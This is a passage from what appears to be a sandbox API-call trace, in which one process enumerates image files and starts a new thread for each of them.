	[0268.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c8
	[0269.031] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.117] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe489ed00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe489ed00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5e7b, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02746G.GIF", cAlternateFileName="")) returned 1
	[0269.118] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24cc
	[0269.139] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.140] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65001c00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65001c00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7d84, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02746U.BMP", cAlternateFileName="")) returned 1
	[0269.140] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24d0
	[0269.142] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.143] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd62df00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd62df00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6090, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02748G.GIF", cAlternateFileName="")) returned 1
	[0269.143] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24d4
	[0269.145] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.145] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca7e100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ca7e100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02748U.BMP", cAlternateFileName="")) returned 1
	[0269.146] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24d8
	[0269.149] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.150] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d97700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3d97700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x8795, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02749G.GIF", cAlternateFileName="")) returned 1
	[0269.150] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24dc
	[0269.152] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.152] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46018a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46018a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02749U.BMP", cAlternateFileName="")) returned 1
	[0269.152] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24e0
	[0269.155] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.155] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd045f000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd045f000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x64c7, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02750G.GIF", cAlternateFileName="")) returned 1
	[0269.155] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24e4
	[0269.158] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.159] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x105ca100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x105ca100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x16f40, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02750U.BMP", cAlternateFileName="")) returned 1
	[0269.160] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24e8
	[0269.163] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.163] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca500f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca500f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xc382, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02752G.GIF", cAlternateFileName="")) returned 1
	[0269.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24ec
	[0269.165] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.166] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88769700, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88769700, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02752U.BMP", cAlternateFileName="")) returned 1
	[0269.166] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24f0
	[0269.169] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.169] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece62600, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xece62600, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02753U.BMP", cAlternateFileName="")) returned 1
	[0269.170] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24f4
	[0269.526] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.541] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe48deb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe48deb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02754U.BMP", cAlternateFileName="")) returned 1
	[0269.541] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24fc
	[0269.543] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.543] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd50ea200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd50ea200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02755U.BMP", cAlternateFileName="")) returned 1
	[0269.544] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24f8
	[0269.545] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.546] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb853a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb853a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02756U.BMP", cAlternateFileName="")) returned 1
	[0269.546] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2504
	[0269.548] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.548] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe684b00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe684b00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02757U.BMP", cAlternateFileName="")) returned 1
	[0269.548] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2508
	[0269.551] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.551] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7c1f400, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7c1f400, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x307f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02758U.BMP", cAlternateFileName="")) returned 1
	[0269.551] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250c
	[0269.554] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.554] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2322a600, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2322a600, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xa0d2, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02759J.JPG", cAlternateFileName="")) returned 1
	[0269.554] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2510
	[0269.556] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.557] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcb03b00, ftCreationTime.dwHighDateTime=0x1bd4e50, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcb03b00, ftLastWriteTime.dwHighDateTime=0x1bd4e50, nFileSizeHigh=0x0, nFileSizeLow=0xc5d7, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02810J.JPG", cAlternateFileName="")) returned 1
	[0269.557] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2514
	[0269.559] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.559] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81187900, ftCreationTime.dwHighDateTime=0x1bd4c19, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81187900, ftLastWriteTime.dwHighDateTime=0x1bd4c19, nFileSizeHigh=0x0, nFileSizeLow=0xf438, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02829J.JPG", cAlternateFileName="")) returned 1
	[0269.559] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2518
	[0269.562] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.562] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66374600, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66374600, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02845G.GIF", cAlternateFileName="")) returned 1
	[0269.562] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x251c
	[0269.565] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.566] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c45, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02897J.JPG", cAlternateFileName="")) returned 1
	[0269.566] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2520
	[0269.568] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.568] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f66600, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0f66600, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x3c76, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03011U.BMP", cAlternateFileName="")) returned 1
	[0269.569] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2524
	[0269.571] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.571] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa55b9c00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa55b9c00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03012U.BMP", cAlternateFileName="")) returned 1
	[0269.571] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2528
	[0269.783] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.792] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44dfa00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc44dfa00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x49d2, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03014_.GIF", cAlternateFileName="")) returned 1
	[0269.792] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x252c
	[0269.793] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.794] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x78af, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03041I.JPG", cAlternateFileName="")) returned 1
	[0269.794] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2530
	[0269.796] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.797] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7450, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03143I.JPG", cAlternateFileName="")) returned 1
	[0269.797] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0269.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2534
	[0269.798] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.799] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa343, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH03205I.JPG", cAlternateFileName="")) returned 1
